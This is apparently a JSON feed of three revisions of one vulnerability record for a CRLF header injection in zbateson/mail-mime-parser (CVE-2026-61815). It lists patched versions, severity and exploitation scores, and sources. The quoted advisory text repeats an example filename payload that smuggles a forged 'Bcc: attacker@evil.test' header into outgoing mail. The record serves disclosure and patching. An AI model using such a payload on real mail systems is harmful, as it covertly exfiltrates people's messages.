{"items":[{"id":"NVI-00006120","kind":"vulnerability","title":"zbateson/mail-mime-parser has CRLF header injection via attachment filename","revision":3,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected.","NVD lastModified does not establish freshness of every associated CPE record."],"lifecycle":"active","identifiers":["GHSA-36h5-qg4p-q2qf","CVE-2026-61815"],"plain_summary":"OSV carries this publisher advisory for zbateson/mail-mime-parser, zbateson/mail-mime-parser. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 3.0.6 for zbateson/mail-mime-parser. Confirm the publisher’s latest guidance.","source_ids":["sr-a8635b03225cade29418f3724f20ee25"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 4.0.2 for zbateson/mail-mime-parser. Confirm the publisher’s latest guidance.","source_ids":["sr-a8635b03225cade29418f3724f20ee25"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-188c48fc7c8d11538b0996db65b2e83f"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-10-05T16:17:14.673Z","value":"7.2 HIGH (3.1)","meaning":"security-advisories@github.com severity; no combined Null risk score.","source_id":"sr-087266cc13efaac3c04e2298880b85cf"},{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.178%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.07375. Missing scores are unknown.","source_id":"sr-188c48fc7c8d11538b0996db65b2e83f"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-a8635b03225cade29418f3724f20ee25","url":"https://github.com/advisories/GHSA-36h5-qg4p-q2qf","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-36h5-qg4p-q2qf","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:41:49.651Z"},{"id":"sr-087266cc13efaac3c04e2298880b85cf","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61815","basis":"official_catalog","notes":"This product uses data from the NVD API but is not endorsed or certified by the NVD.","title":"CVE-2026-61815","publisher":"NIST National Vulnerability Database","observed_at":"2026-11-01T07:24:49.802Z"},{"id":"sr-188c48fc7c8d11538b0996db65b2e83f","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-61815","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:15.383Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-a8635b03225cade29418f3724f20ee25"],"technology":"zbateson/mail-mime-parser","known_exclusions":[],"conditions_summary":"### Impact\n\nA CRLF (carriage-return / line-feed) header injection  affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.\n  \nAttachment filenames are interpolated into the `Content-Type` and `Content-Disposition` header values without stripping CR/LF, so a filename containing `\\r\\n` serializes as one or more additional, attacker-controlled header lines (for example a forged `Bcc:` that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.\n\n### Details\n\nOn the outbound side, `MultipartHelper::createAndAddPartForAttachment()` sanitizes the filename only with `iconv('UTF-8','US-ASCII//translit//ignore', $filename)`. CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via `MimePart::setRawHeader()`. A filename of `doc\\r\\nBcc: attacker@evil.test` therefore serializes as:\n\n```\nContent-Disposition: attachment;\n filename=\"doc\nBcc: attacker@evil.test\"\n```\n\nThe `filename` value ","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 3.0.6"]},{"certainty":"source_listed","source_ids":["sr-a8635b03225cade29418f3724f20ee25"],"technology":"zbateson/mail-mime-parser","known_exclusions":[],"conditions_summary":"### Impact\n\nA CRLF (carriage-return / line-feed) header injection  affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.\n  \nAttachment filenames are interpolated into the `Content-Type` and `Content-Disposition` header values without stripping CR/LF, so a filename containing `\\r\\n` serializes as one or more additional, attacker-controlled header lines (for example a forged `Bcc:` that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.\n\n### Details\n\nOn the outbound side, `MultipartHelper::createAndAddPartForAttachment()` sanitizes the filename only with `iconv('UTF-8','US-ASCII//translit//ignore', $filename)`. CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via `MimePart::setRawHeader()`. A filename of `doc\\r\\nBcc: attacker@evil.test` therefore serializes as:\n\n```\nContent-Disposition: attachment;\n filename=\"doc\nBcc: attacker@evil.test\"\n```\n\nThe `filename` value ","public_affected_ranges":["ECOSYSTEM: introduced 4.0.0; fixed 4.0.2"]}],"null_published_at":"2026-11-01T14:34:07.507Z","source_updated_at":"2026-09-24T20:00:05.130Z","source_disclosed_at":"2026-09-24T19:46:32.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Source facts changed; compare the preserved prior revision.","null_first_observed_at":"2026-10-31T21:41:49.651Z"},{"id":"NVI-00006120","kind":"vulnerability","title":"zbateson/mail-mime-parser has CRLF header injection via attachment filename","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-36h5-qg4p-q2qf","CVE-2026-61815"],"plain_summary":"OSV carries this publisher advisory for zbateson/mail-mime-parser, zbateson/mail-mime-parser. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 3.0.6 for zbateson/mail-mime-parser. Confirm the publisher’s latest guidance.","source_ids":["sr-a8635b03225cade29418f3724f20ee25"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 4.0.2 for zbateson/mail-mime-parser. Confirm the publisher’s latest guidance.","source_ids":["sr-a8635b03225cade29418f3724f20ee25"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-188c48fc7c8d11538b0996db65b2e83f"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.178%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.07375. Missing scores are unknown.","source_id":"sr-188c48fc7c8d11538b0996db65b2e83f"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-a8635b03225cade29418f3724f20ee25","url":"https://github.com/advisories/GHSA-36h5-qg4p-q2qf","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-36h5-qg4p-q2qf","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:41:49.651Z"},{"id":"sr-188c48fc7c8d11538b0996db65b2e83f","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-61815","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:15.383Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-a8635b03225cade29418f3724f20ee25"],"technology":"zbateson/mail-mime-parser","known_exclusions":[],"conditions_summary":"### Impact\n\nA CRLF (carriage-return / line-feed) header injection  affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.\n  \nAttachment filenames are interpolated into the `Content-Type` and `Content-Disposition` header values without stripping CR/LF, so a filename containing `\\r\\n` serializes as one or more additional, attacker-controlled header lines (for example a forged `Bcc:` that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.\n\n### Details\n\nOn the outbound side, `MultipartHelper::createAndAddPartForAttachment()` sanitizes the filename only with `iconv('UTF-8','US-ASCII//translit//ignore', $filename)`. CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via `MimePart::setRawHeader()`. A filename of `doc\\r\\nBcc: attacker@evil.test` therefore serializes as:\n\n```\nContent-Disposition: attachment;\n filename=\"doc\nBcc: attacker@evil.test\"\n```\n\nThe `filename` value ","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 3.0.6"]},{"certainty":"source_listed","source_ids":["sr-a8635b03225cade29418f3724f20ee25"],"technology":"zbateson/mail-mime-parser","known_exclusions":[],"conditions_summary":"### Impact\n\nA CRLF (carriage-return / line-feed) header injection  affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.\n  \nAttachment filenames are interpolated into the `Content-Type` and `Content-Disposition` header values without stripping CR/LF, so a filename containing `\\r\\n` serializes as one or more additional, attacker-controlled header lines (for example a forged `Bcc:` that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.\n\n### Details\n\nOn the outbound side, `MultipartHelper::createAndAddPartForAttachment()` sanitizes the filename only with `iconv('UTF-8','US-ASCII//translit//ignore', $filename)`. CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via `MimePart::setRawHeader()`. A filename of `doc\\r\\nBcc: attacker@evil.test` therefore serializes as:\n\n```\nContent-Disposition: attachment;\n filename=\"doc\nBcc: attacker@evil.test\"\n```\n\nThe `filename` value ","public_affected_ranges":["ECOSYSTEM: introduced 4.0.0; fixed 4.0.2"]}],"null_published_at":"2026-10-31T22:27:06.728Z","source_updated_at":"2026-09-24T20:00:05.130Z","source_disclosed_at":"2026-09-24T19:46:32.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:41:49.651Z"},{"id":"NVI-00006120","kind":"vulnerability","title":"zbateson/mail-mime-parser has CRLF header injection via attachment filename","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-36h5-qg4p-q2qf","CVE-2026-61815"],"plain_summary":"OSV carries this publisher advisory for zbateson/mail-mime-parser, zbateson/mail-mime-parser. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 3.0.6 for zbateson/mail-mime-parser. Confirm the publisher’s latest guidance.","source_ids":["sr-a8635b03225cade29418f3724f20ee25"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 4.0.2 for zbateson/mail-mime-parser. Confirm the publisher’s latest guidance.","source_ids":["sr-a8635b03225cade29418f3724f20ee25"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-a8635b03225cade29418f3724f20ee25","url":"https://github.com/advisories/GHSA-36h5-qg4p-q2qf","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-36h5-qg4p-q2qf","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:41:49.651Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-a8635b03225cade29418f3724f20ee25"],"technology":"zbateson/mail-mime-parser","known_exclusions":[],"conditions_summary":"### Impact\n\nA CRLF (carriage-return / line-feed) header injection  affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.\n  \nAttachment filenames are interpolated into the `Content-Type` and `Content-Disposition` header values without stripping CR/LF, so a filename containing `\\r\\n` serializes as one or more additional, attacker-controlled header lines (for example a forged `Bcc:` that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.\n\n### Details\n\nOn the outbound side, `MultipartHelper::createAndAddPartForAttachment()` sanitizes the filename only with `iconv('UTF-8','US-ASCII//translit//ignore', $filename)`. CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via `MimePart::setRawHeader()`. A filename of `doc\\r\\nBcc: attacker@evil.test` therefore serializes as:\n\n```\nContent-Disposition: attachment;\n filename=\"doc\nBcc: attacker@evil.test\"\n```\n\nThe `filename` value ","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 3.0.6"]},{"certainty":"source_listed","source_ids":["sr-a8635b03225cade29418f3724f20ee25"],"technology":"zbateson/mail-mime-parser","known_exclusions":[],"conditions_summary":"### Impact\n\nA CRLF (carriage-return / line-feed) header injection  affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.\n  \nAttachment filenames are interpolated into the `Content-Type` and `Content-Disposition` header values without stripping CR/LF, so a filename containing `\\r\\n` serializes as one or more additional, attacker-controlled header lines (for example a forged `Bcc:` that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.\n\n### Details\n\nOn the outbound side, `MultipartHelper::createAndAddPartForAttachment()` sanitizes the filename only with `iconv('UTF-8','US-ASCII//translit//ignore', $filename)`. CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via `MimePart::setRawHeader()`. A filename of `doc\\r\\nBcc: attacker@evil.test` therefore serializes as:\n\n```\nContent-Disposition: attachment;\n filename=\"doc\nBcc: attacker@evil.test\"\n```\n\nThe `filename` value ","public_affected_ranges":["ECOSYSTEM: introduced 4.0.0; fixed 4.0.2"]}],"null_published_at":"2026-10-31T22:13:05.859Z","source_updated_at":"2026-09-24T20:00:05.130Z","source_disclosed_at":"2026-09-24T19:46:32.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T21:41:49.651Z"}],"next_cursor":null,"snapshot_revision":"42594"}